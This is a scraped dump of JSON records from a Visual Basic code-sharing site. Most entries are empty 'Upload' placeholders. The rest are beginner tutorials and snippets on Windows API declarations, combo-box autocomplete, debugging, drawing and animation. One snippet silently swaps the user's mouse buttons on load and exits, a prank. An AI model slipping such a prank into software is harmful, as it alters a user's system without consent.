etc.</li>\n <li>\n GDI32.DLL --- Contains functions that control output\n to the screen and other devices.</li>\n <li>\n KERNEL32.DLL --- Contains functions that control the\n internal Windows hardware and software interface.</li>\n</ul>\nThere are other DLLs such as COMDLG.DLL, MAPI32.DLL,\nNETAPI32.DLL, WINMM.DLL etc.\n┬á\nUsing the 'Declare'\nstatement\nCalling Windows API routines requires a statement called\n'Declare'.\nThe 'Declare' statement performs the following tasks :\n<ul>\n <li>\n Specifies where the API function is located</li>\n <li>\n Identifies arguments needed by the API function by number\n and data type</li>\n <li>\n Specifies whether or not the API function returns a value</li>\n</ul>\nThe following format describes the subroutine procedure version\nof the 'Declare' statement :\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Declare Sub procName Lib\n \"libName\" [Alias \"alias\"] [([ByVal] var1 [As dataType]\n [, [ByVal] var2 [As dataType]] ... [, [ByVal] varN [As dataType])]</td>\n </tr>\n</table>\n┬áHere are two examples :\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Declare Function GetWindowsDirectory Lib\n \"kernel32\" Alias \"GetWindowsDirectoryA\"_\n (ByVal lpBuffer As String, ByVal nSize As Long) As\n Long</td>\n </tr>\n</table>\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"100%\">Declare Sub GetSystemInfo Lib\n \"kernel32\" (lpSystemInfo As SystemInfo)</td>\n </tr>\n</table>\nHere is an example for calling a simple API routine:\nThis example sounds the speaker\n<table border=\"1\" width=\"104%\">\n <tr>\n <td width=\"100%\">Private Declare Function MessageBeep Lib \"user32\"\n (ByVal wType As Long) As Long\n Private Sub cmdBeep_Click() 'You need to have a command button named\n cmdBeep for this example to work\n Dim Beeper As Variant\n Beeper=MessageBeep(1)\n End Sub</td>\n </tr>\n</table>\n</html>\n"},{"WorldId":1,"id":46213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46371,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46415,"LineNumber":1,"line":"┬á\nPublic Function IsLoaded(ByVal strForm As String)As Boolean<DIR>\n<DIR>\nDim frmloaded As Form\nIsLoaded = False\nIf strForm = \"\" Then Exit Function\nFor Each frmloaded In Forms<DIR>\n<DIR>\nIf frmloaded.Name = strForm Then<DIR>\n<DIR>\nIsLoaded = True\nExit Function</DIR>\n</DIR>\nEnd If</DIR>\n</DIR>\nNext</DIR>\n</DIR>\nEnd Function\n"},{"WorldId":1,"id":46423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46441,"LineNumber":1,"line":"'==================================\nPublic Sub AutoCompleteList(ByVal cboCtl As ComboBox, ByVal KeyCode As Integer)\n'No comments it is clear .\n Dim Counter As Integer\n Dim Length As Integer\n If cboCtl.Text <> \"\" Then\n If KeyCode = vbKeyBack Or KeyCode = vbKeyDelete Then\n KeyCode = 0\n Exit Sub\n End If\n For Counter = 0 To cboCtl.ListCount - 1\n Length = Len(cboCtl.Text)\n If Mid(cboCtl.List(Counter), 1, Len(cboCtl)) = cboCtl.Text Then\n cboCtl.Text = cboCtl.List(Counter)\n cboCtl.SelStart = Length\n cboCtl.SelLength = Len(cboCtl.Text)\n cboCtl.ListIndex = Counter\n Exit For\n End If\n Next\n End If\nEnd Sub\n'===========================================\nTypical usage :\nPrivate Sub cboCategory_Change()\n Call AutoCompleteList(cboCategory, mintKeyCode)\nEnd Sub\nWhere mintKeyCode is a form variable given by a Form_KeyDown event like :\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n mintKeyCode = KeyCode\nEnd Sub\nand the cboCategory is the combo box filled by your own items.\nTaking into consideration the header of the form should look like this one :\nOption Explicit\nPrivate mintKeyCode As Integer\nand your form KeyPreview Property is set to TRUE.\nEnjoy ,\n"},{"WorldId":1,"id":46446,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54102,"LineNumber":1,"line":"Private Declare Function SwapMouseButton Lib \"user32\" (ByVal bSwap As Long) As Long\nPrivate Sub Form_Load()\nDoEvents\n SwapMouseButton 1\nDoEvents\n Unload Me\nEnd Sub"},{"WorldId":1,"id":54110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54112,"LineNumber":1,"line":"The small article: \nRun-time files are files your application must have in order \nto work correctly after installation. These files are needed by all Visual Basic \napplications. \nThe following are the run-time files for Visual Basic \nprojects: \nMsvbvm60.dll \nStdole2.tlb \nOleaut32.dll \nOlepro32.dll \nComcat.dll \nAsyncfilt.dll \nCtl3d32.dll \nThe installation program assumes that any computer capable \nof performing an Internet download already has all of these files except for \nMsvbvm60.dll. Therefore this is the only run-time file! \nCopied from MSDN Library. \nOne more tip... \nIf you also want to have professional installation package I \nrecommend to use NSIS http://nsis.sourceforge.net/ and it's free. You will also \nneed an editor and this you can get if you click on download page. I use HM NIS \nEdit http://hmne.sourceforge.net/ and it's also free. I hope this will help \nsomeone.\n"},{"WorldId":1,"id":54115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54243,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54277,"LineNumber":1,"line":"SELECT Table1.*\nFROM Table1\nUNION ALL\nSELECT Table1.*\nFROM Table1 IN \"C:\\Test\\OldDatabase1.mdb\"\nUNION ALL\nSELECT Table1.*\nFROM Table1 IN \"C:\\Test\\OldDatabase2.mdb\"\nUNION ALL\nSELECT Table1.*\nFROM Table1 IN \"C:\\Test\\OldDatabase3.mdb\";\n\n"},{"WorldId":1,"id":54281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54285,"LineNumber":1,"line":"Public Sub Bevel(ByVal hDC As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal Thickness As Integer, Optional OuterBevel As Boolean = True)\n Dim dCol As Long\n Dim i As Long, j As Long, R As Long\n Dim vAdj As Integer, lFactor As Integer\n Dim Step As Single\n Dim OffSet As Integer\n \n 'Ensure thickness is between 1 and 100\n Thickness = SetBound(Thickness, 1, 100)\n \n 'if it is an inner bevel the factor and step need to be reversed\n If OuterBevel Then\n lFactor = 125\n Step = 125 / Thickness\n Else\n lFactor = -125\n Step = -(125 / Thickness)\n End If\n \n 'this draws the horizontal shadow/highlight from left to right\n For i = X1 To X2\n vAdj = 0\n For j = 1 To Thickness\n 'this IF statement ensure the bevels do not overlap\n If i - X1 >= vAdj And i - X1 <= X2 - vAdj Then\n 'get the pixel color for the top and lighten/darken it\n dCol = AdjustBrightness(GetPixel(hDC, i, Y1 + j - 1), lFactor - (vAdj * Step))\n SetPixel hDC, i, Y1 + j - 1, dCol\n 'get the pixel color for the bottom and lighten/darken it\n dCol = AdjustBrightness(GetPixel(hDC, i, Y2 - j), -lFactor + (vAdj * Step))\n SetPixel hDC, i, Y2 - j, dCol\n End If\n vAdj = vAdj + 1\n Next j\n Next i\n \n 'this draws the verticle shadow/highlight from top to bottom\n For i = Y1 To Y2\n vAdj = 0\n For j = 1 To Thickness\n 'this IF statement ensure the bevels do not overlap\n If i - Y1 >= vAdj And i - Y1 <= Y2 - vAdj Then\n 'get the pixel color for the left and lighten/darken it\n dCol = AdjustBrightness(GetPixel(hDC, X1 + j - 1, i), lFactor - (vAdj * Step))\n SetPixel hDC, X1 + j - 1, i, dCol\n 'get the pixel color for the right and lighten/darken it\n dCol = AdjustBrightness(GetPixel(hDC, X2 - j, i), -lFactor + (vAdj * Step))\n SetPixel hDC, X2 - j, i, dCol\n End If\n vAdj = vAdj + 1\n Next j\n Next i\nEnd Sub\n\nPrivate Function SetBound(ByVal Num As Single, ByVal MinNum As Single, ByVal MaxNum As Single) As Single\n 'this is to support the above functions\n 'makes sure a number is between certain values\n If Num < MinNum Then\n SetBound = MinNum\n ElseIf Num > MaxNum Then\n SetBound = MaxNum\n Else\n SetBound = Num\n End If\nEnd Function\n\nPublic Function AdjustBrightness(ByVal Color As Long, ByVal Amount As Single) As Long\n On Error Resume Next\n \n 'lightens/darken a color\n Dim R(1) As Integer, G(1) As Integer, B(1) As Integer\n \n GetRGB R(0), G(0), B(0), Color\n \n R(1) = SetBound(R(0) + Amount, 0, 255)\n G(1) = SetBound(G(0) + Amount, 0, 255)\n B(1) = SetBound(B(0) + Amount, 0, 255)\n \n AdjustBrightness = RGB(R(1), G(1), B(1))\nEnd Function\n\nPublic Sub GetRGB(R As Integer, G As Integer, B As Integer, ByVal Color As Long)\n Dim TempValue As Long\n TranslateColor Color, 0, TempValue\n 'get the red, green, and blue values\n If Color Then\n R = Color And &HFF&\n G = Color \\ 256 And &HFF\n B = Color \\ 65536\n Else\n R = 0\n G = 0\n B = 0\n End If\nEnd Sub"},{"WorldId":1,"id":54288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54298,"LineNumber":1,"line":"<html>\nAfter 2 weeks of programming i have finally finished Visual D++ 2.0. This is \nbased on D++ 4.1, but because D++ 4.1 is just a text based programming language, \ni decided to give it command buttons, text boxes, list boxes etc. \nI loosely based it on PowerBasics DDT, it looks the same although its quite \ndiffrent so i guess it cant really be called DDT, but its still really simple to \ncode with it, here is an example of code: \nfunction main() \n{ \nvdpp; \ncontrol add form 0 3825 1635 6630 to Form1; \ncontrol set Form1 form text to "Donuts DDE mIRC send"; \ncontrol set Form1 form backcolor to "15279930"; \ncontrol add Form1 label 144.4126 60.38464 396.6262 4574.137 to Label1; \ncontrol set Form1 label Label1 text to "Enter command you want to send to mIRC:";\n \ncontrol set Form1 label Label1 backcolor to "15279930"; \ncontrol set Form1 label Label1 forecolor to "2152936"; \ncontrol add Form1 command 1409.549 392.5002 762.7427 9053.167 to Command1; \ncontrol set Form1 command Command1 text to "Send to mIRC"; \ncontrol add Form1 text 671.2136 75.4808 579.6845 9700.793 to text1; \ncontrol set Form1 text text1 text to ""; \ncontrol set Form1 text text1 backcolor to "65280"; \n} \nfunction Form1() \n{ \nif Form1 = "UNLOAD" then \nend; \nendif; \n} \nfunction Command1() \n{ \nif command1 = "CLICK" then \nnewvar tosend; \ncontrol get Form1 text text1 text to tosend; \ncontrol set Form1 text text1 linksetting to "mIRC|command"; \ncontrol set Form1 text text1 linkmode to "0"; \ncontrol set Form1 text text1 linkitem to tosend; \ncontrol set Form1 text text1 linkmode to "2"; \ncontrol set Form1 text text1 linkpoke; \ncontrol set Form1 text text1 linkmode to "0"; \ncontrol set Form1 text text1 text to ""; \nendif; \n} \n90% of that code is already programmed with the Visual IDE that i made, so you \ncan just draw forms yourself, and place objects on it. \nHere is the download location: http://donut.pagemac.com/vdpp2.zip \nUnfortunately PSC doesnt allow links \nBecause d++ depends on a dppsecurity.dll to prevent other people ripping the \nentire progamming language and putting their own name on it, so i cant upload it \nto Planetsourcecode, but its completly virus free (i checked). \nPlease note: If you do vote, vote for the visual features and the code in \nmodDDT.bas, and the visual ide but not for the rest as the rest is all SquekMac's/Azures code, and please give us a visit on the pagemac forums, \nhttp://forums.pagemac.com\nD++ is getting more and more active now. \nhttp://www.pagemac.com/\n</html>"},{"WorldId":1,"id":54310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54324,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54330,"LineNumber":1,"line":"The code can be downloaded from:\nhttp://blake.prohosting.com/webmech"},{"WorldId":1,"id":54335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54356,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54375,"LineNumber":1,"line":"Debugging and Component Development\nBy CodeDoctor\nPart 1 ΓÇô Debugging Explained\nThe purpose of this article is to show how to use the VB IDE to accomplish good sound debugging. IΓÇÖve been a member here for quite sometime, and this is my first post, as I have not noticed any information for the beginner to Intermediate level programmers that show debugging techniques that are a must for any VB programmer. This only covers VB3-VB6. VB.Net will soon have most of these abilities in future releases, so stay tuned for a revised article covering VB.Net debugging in the near future.\nThis article will also cover semi-advanced topics such as creating and debugging ActiveX DLL's. You can expect at the end of this article to be able to debug any VB application.\n\nVisual Basic has come a long way over the years. One of the primary reasons is due to its rapid application environment, or IDE (Integrated Development Environment). The Code editor of VB6 allows developers to step through their code at many different levels. To give you an example of what this means, consider the following: (Place a single command button on a new Standard EXE project form)\n\n\n \nWhen clicking on the Command button, the Command1_Click procedure fires, resulting in a msgbox showing. So you may be saying, ΓÇ£what is the big deal? Everyone knows that!ΓÇ¥ \nYes, most everyone should know how to do this, however, when you need to stop the code, you can do this by setting breakpoints in code as shown below:\n\n \nAs you can see, the msgbox statement is now highlighted in red. There are three ways to accomplish this, the first, is to simply click on the gray margin (Circled in Red). The second, you can goto the Debug menu, and choose ΓÇ£Toggle BreakpointΓÇ¥. Or, the easiest way, is to just hit F9 on your Keyboard.\n\n \nNow, when you hit F5 to run the application and you click on the Command1 command button, the msgbox does not display, the execution of the application stops before showing the message box. As shown below:\n \nThis breakpoint is very helpful to debugging, and also is used to learn the execution of how a program is operating.\nSeveral things can be done while in ΓÇ£Break ModeΓÇ¥. The main thing is that you can check the state of your application by using the Immediate Window, available from the View Menu / Immediate Window, or by hitting CTRL-G on your keyboard. To check the variable sMsg in the immediate window, simply type in Debug.Print sMsg directly in the Immediate Window, and youΓÇÖll see the value print out ΓÇ£This is a testΓÇ¥. You can also execute other built in functions and methods while in breakmode. To try this, simply type in Debug.Print ASC(ΓÇ£AΓÇ¥). You should see the number 65, which is the Ascii Value of the Capital Letter ΓÇ£AΓÇ¥.\nAlso, if your project had modules, you can even call your own functions and procedures here while in break mode too.\n\n \nPart 2 ΓÇô ActiveX Components and why use them\nTo give a better example, lets look at some more advanced ways of using the IDEΓÇÖs debugger. This next section will show you how to create an ActiveX DLL, and how to debug it.\nFirst, you may be asking, ΓÇ£why create an ActiveX DLL, if you can simply just make your own procedures in modules?ΓÇ¥\nThe reason is simple, however, there are a few areas you may need to understand before understanding it fully. \nThe reason why ActiveX DLLΓÇÖs are better than just code modules, is ΓÇ£EncapsulationΓÇ¥. This sounds to most like another Techno-Babble word. But it has great merit. To give you a better example, consider that when a person starts an automobile, most follow these steps;\n1.\tPut key into Ignition\n2.\tTurn Key forward while applying gas\n3.\tRelease turn pressure from Ignition\nIf you notice, the person starting the car does not need to know how the start operates, or have to know anything at all about the wiring connected to the ignition, instead, they just turn the key.\nThis is Encapsulation, all of the inner workings of vehicles sub-systems are abstracted from the operator. The operator only needs the key to activate the many supporting sub systems that make the vehicle operate.\nLets take this and create an object model\nCar\n\tTransmission\n\tEngine\n\t\tStarter\n\t\t\tIgnition\nΓÇÿThe VB Code might look something like this\nDim oCar as New Car\nDim oCarKey as New Key\nDim oIgnition as Ignition\nSet oIgnition = oCar.Engine.Starter.Ignition\noCarKey.Owner = ΓÇ£CodeDoctorΓÇ¥\nSet oIgnition.Key = oCarKey\nIf oCarKey.IsValid = true then\n\tDo Until oCar.Engine.IsRunning = true\n\t\toIgnition.Start\n\t\tif oIgnition.Attempts > 10 then\n\t\t\tΓÇÿ// Need a Tow Truck\n\t\t\tExit Do\n\t\tend if\n\tLoop\nElse\n\tMsgbox ΓÇ£Invalid Car KeyΓÇ¥\nEnd if\nThis example shows that each Car has an Engine, each Engine has a Starter, and each Starter has an Ignition. Encapsulation is achieved in this model by simply calling the oIgnition.Start method. This method would be quite complex, as it must connect to even more objects or sub-systems, such as the electrical, battery, the engines other sub-systems such as the fuel injectors, crank, pistons etc. The user only needs to know that the Ignition has a method named ΓÇ£StartΓÇ¥, and the user must always call this method, that effectively calls other sub-systems, and their methods.\nSo with this example, you should be able to see the importance of using ActiveX DLLΓÇÖs, as the benefits can out-weigh any standard code modules. As the next example explains.\nSay that you are creating a Race Track, and you need to access many cars at one time. \nDim oRaceCars as New Cars\nDim oRaceCar as Car\nFor each oRaceCar in oRaceCars\n\toRaceCar.Engine.Starter.Ignition.Start\nnext\nThe above example shows that you can start ALL the cars by simply calling the same method on each object. This means the state of each object is ΓÇ£AbstractedΓÇ¥ or ΓÇ£HiddenΓÇ¥ from the User, and each object has its own ΓÇ£StateΓÇ¥. This is much more efficient than using code modules, while maintaining the state of global variables would be very difficult.\n\n\nPart 3 ΓÇô Creating an ActiveX DLL component\nComing Soon\n"},{"WorldId":1,"id":54378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":54429,"LineNumber":1,"line":"\n\n<h2>Windows API Data types</h2>\nWindows API routines often require data types not used by VB. This is a text doc that explains the use of non-VB data types to help in converting C declarations to Visual Basic.\nThe procedures in DLLs are most commonly documented using C language syntax. To call these procedures from Visual Basic, you need to translate them into valid Declare statements and call them with the correct arguments.\nAs part of this translation, you must convert the C data types into Visual Basic data types and specify whether each argument should be called by value (ByVal) or implicitly, by reference (ByRef).\nThis text doc lists common C language data types and their Visual Basic equivalents for 32-bit versions of Windows, and includes some examples.\nAlso goes into some detail in explaining defined types such as LPDWORD, LPHWND, LPVOID and BSTR, and explains dealing with Strings and passing Null pointers.\nAlso covers the conversion of Large Integers to Currency. Windows and COM sometimes use 64-bit integers, and Visual Basic actually provides a 64-bit integer type - Currency.\nMuch of this information comes from Hard Core VB by Bruce McKinney, (else is part of the Win API documentation), from the MSDN Library.\n\n"},{"WorldId":1,"id":54432,"LineNumber":1,"line":"<html><div style='background-color:'><DIV class=RTE></DIV>\n<H1 class=RTE align=center>Learning How To Animate</H1>\nIf you know nothing about visual basic and want to create animation in visual basic this is the right place where you have landed. So move ahead.\nContents\n<OL>\n<LI>\n<DIV class=RTE align=left>Chapter 1 - Introduction to Visual Basic</DIV></LI>\n<LI>\n<DIV class=RTE align=left>Chapter 2 - Introduction to Picture Box, Timer and Variable</DIV></LI>\n<LI class=RTE>Chapter 3 - Animating</LI></OL>\n<H1 align=center>Chapter-1</H1>\n<H1 align=center>Introduction to Visual Basic</H1>\nVisual Basic is an environment in which you can create applications. Infact its an application producing machine. Its not merely a language. And with the coming up of Visual Basic 6.0 it has become all the more interactive. Internet features have been added.\nFriend I am not going to introduce Visual Basic in more detail. When you will use it then you will come to know about it in a better way. So lets move ahead to next chapter.\n<H1 align=center>Chapter-2</H1>\n<H1 align=center>Introduction to Picture Box, Timer and Variable</H1>\nSo lets start creating our project. Follow the following steps - \n<OL>\n<LI>\n<DIV align=left>┬áStart Visual Basic 6.0 by selecting it from Start menu.</DIV></LI>\n<LI>\n<DIV align=left>┬áVisual Basic will prompt you to create a new project. If it doesn't then click on File menu and select New Project.</DIV></LI>\n<LI>\n<DIV align=left>┬áNew Project dialog box will be displayed. Select \"Standard EXE\" and click on OK.</DIV></LI></OL>\nChange the properties of the form to the following - \n\n<TABLE width=\"75%\" border=1>\n<TBODY>\n<TR>\n<TD>Name</TD>\n<TD>\nfrmanimation</TD></TR>\n<TR>\n<TD>BackColor</TD>\n<TD>\nFrom the popup menu choose the black color</TD></TR>\n<TR>\n<TD>Caption</TD>\n<TD>Animation</TD></TR>\n<TR>\n<TD>ScaleMode</TD>\n<TD>3 - Pixel</TD></TR></TBODY></TABLE>\nWhat is picture box?\nIn our project we want to animate a picture, there are many ways to do it. But this one is the simplest. Just you think of a picture box, a box or control which can hold picture with certain properties.\nDouble click on the picture box icon. After doing this change the properties of the Picture Box to the following - \n\n<TABLE width=\"75%\" border=1>\n<TBODY>\n<TR>\n<TD>Name</TD>\n<TD>\npicanimation</TD></TR>\n<TR>\n<TD>AutoRedraw</TD>\n<TD>\nTrue</TD></TR>\n<TR>\n<TD>AutoSize</TD>\n<TD>True</TD></TR>\n<TR>\n<TD>BackColor</TD>\n<TD>From the popup menu choose the black color</TD></TR></TBODY></TABLE>\nNow what we wan to do is to load a picture (the picture should not be too big). There are two ways to do this job. I will discuss both. First one which I generally do not use is that one can load picture by selecting Picture property of your Picture Box and browsing and then loading the picture.\nIn this process there is very serious problem. For example if the your picture is in My Documents folder, then the path of the picture will be \"C:\\My Documents\\xyz.bmp\". If you decide to email your program to one of your friend and lets suppose that he stores this program in the some other folder, then the program won't be able to load the picture.\nTo solve this problem there is a solution as you know \"To every problem there exists a solution\". In the Form_Load event type the following - \n<CODE>picanimation.Picture = LoadPicture(App.Path & \"\\xyz.bmp\")</CODE>\nNow let me explain every thing clearly. First of all you might be thinking what is this Form_Load event but it is clear form its name it event that is executed as soon the form loads.\nNow what about the code? Its very simple.\nHere picanimation is the name of the picture. Picture is its one of the property. What we simply do is that we load picture by giving LoadPicture command. I have then typed App.path, this means application's path and then we add the name of the picture with a slash.\nNow its time to animate!\nOne thing we need is Timer. This is another control which you can easily locate an Toolbar.\nChange the properties of the timer to following - \n\n<TABLE width=\"75%\" border=1>\n<TBODY>\n<TR>\n<TD>Name</TD>\n<TD>\ntmranimation</TD></TR>\n<TR>\n<TD>Enabled</TD>\n<TD>\nTrue</TD></TR>\n<TR>\n<TD>Interval</TD>\n<TD>1</TD></TR></TBODY></TABLE>\n Now its time to do the real job so move on to the next chapter where I will explain you about the timer in much more detail.\n<H1 align=center>Chapter-3</H1>\n<H1 align=center>Animating</H1>\nFor understanding timer you think of timer to be like a clock. It will keep on doing the work specified in the _timer( ) event after every definite interval specified. For example in this project we have set the interval 1, so after every 1 millisecond the command will be executed which is entered in _timer( ) event.\nNow lets do the real job which we are waiting for. First of enter the following code in the Form_Load event\n<CODE>picanimation.Picture = LoadPicture(App.Path & \"\\xyz.bmp\")</CODE>\nwhere 'xyz.bmp' is the name of the picture. Remember before entering this code your project must be saved and picture should be in the same folder in which the project is saved.\nNow lets come on to the code of timer. Enter the following code in the tmranimation_timer( ) event.\n<CODE>If frmanimation.ScaleHeight > picanimation.Top Then</CODE>\n<CODE>picanimation.Top = picanimation.Top + 10 </CODE>\n<CODE>Else picanimation.Top = 1 </CODE>\n<CODE>End If</CODE>\nNow you may be wondering what this a tiny bit of code does? But infact it does the real job. Let me translate the code in simple english. There is condition that if the scaleheight of the form is greater than the top of the picture then the picture's top is increased means that the picture moves down and if disappears from the form then it is again restored to the beginning. That's all. \nHappy Programming\nBy Shashwat 